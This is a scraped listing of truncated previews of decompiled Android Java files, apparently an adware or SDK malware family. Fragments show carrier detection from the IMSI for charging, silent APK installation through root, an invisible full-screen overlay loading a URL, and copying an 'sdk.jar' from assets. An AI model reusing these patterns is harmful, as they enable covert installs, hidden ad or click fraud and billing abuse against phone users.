This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.pmbox.common; | |
| import android.content.Context; | |
| import android.net.ConnectivityManager; | |
| import android.net.NetworkInfo; | |
| import android.net.wifi.WifiManager; | |
| import java.lang.reflect.Field; | |
| import java.lang.reflect.InvocationTargetException; | |
| import java.lang.reflect.Method; | |
| import java.net.InetAddress; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.pmbox.common; | |
| import android.content.ComponentName; | |
| import android.content.ContentResolver; | |
| import android.content.ContentValues; | |
| import android.content.Context; | |
| import android.content.Intent; | |
| import android.content.pm.PackageManager; | |
| import android.content.res.AssetManager; | |
| import android.database.Cursor; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.pmbox.common; | |
| import java.io.ByteArrayInputStream; | |
| import java.io.ByteArrayOutputStream; | |
| import java.io.IOException; | |
| import java.util.zip.GZIPInputStream; | |
| import java.util.zip.GZIPOutputStream; | |
| public class ZipHelper { | |
| private static String encode = "utf-8"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static String getChannel(String imsi) { | |
| String a = imsi.substring(0, 5); | |
| if (a.startsWith("46000") || a.startsWith("46002") || a.startsWith("46007") || a.startsWith("898600")) { | |
| return Charge.CHANNEL_STATE_CMCC; | |
| } | |
| if (a.startsWith("46001") || a.startsWith("46006")) { | |
| return Charge.CHANNEL_STATE_CUCC; | |
| } | |
| if (a.startsWith("46003") || a.startsWith("46005") || a.startsWith("46099")) { | |
| return Charge.CHANNEL_STATE_CTCC; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static final void installAPK(Context context, String path) { | |
| if (RootUtils.checkRoot()) { | |
| RootUtils.execChomd("pm install " + path); | |
| } else { | |
| openInstallForm(context, path); | |
| } | |
| } | |
| private static void openInstallForm(Context context, String path) { | |
| try { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.ast.sdk.utils; | |
| import android.os.Build; | |
| import android.util.Pair; | |
| import java.lang.reflect.AccessibleObject; | |
| import java.lang.reflect.Constructor; | |
| import java.lang.reflect.Field; | |
| import java.lang.reflect.Method; | |
| import java.nio.Buffer; | |
| import java.nio.ByteBuffer; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* access modifiers changed from: private */ | |
| public void updateUi(String strLinkUrl2) { | |
| try { | |
| WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-1, -1); | |
| layoutParams.type = 2005; | |
| layoutParams.flags = 16777784; | |
| layoutParams.x = 0; | |
| layoutParams.y = 0; | |
| layoutParams.alpha = 0.0f; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.ast.abs.a.b.z; | |
| import android.graphics.Bitmap; | |
| import android.net.http.SslError; | |
| import android.text.TextUtils; | |
| import android.webkit.SslErrorHandler; | |
| import android.webkit.WebResourceResponse; | |
| import android.webkit.WebView; | |
| import android.webkit.WebViewClient; | |
| import com.ast.sdk.impl.HandleCallBack; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| private static void copyAssetsFile(Context context, InputStream is) { | |
| try { | |
| String toName = "sdk.jar"; | |
| String fileDir = context.getFilesDir().getAbsolutePath(); | |
| FileOutputStream fos = new FileOutputStream(new File(fileDir, toName)); | |
| int len = 0; | |
| byte[] b = new byte['è']; | |
| while ((len = is.read(b)) != -1) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import android.app.Activity; | |
| import android.content.Context; | |
| import android.graphics.Bitmap; | |
| import android.net.http.SslError; | |
| import android.os.Build; | |
| import android.os.Bundle; | |
| import android.util.Log; | |
| import android.view.View; | |
| import android.webkit.CookieManager; |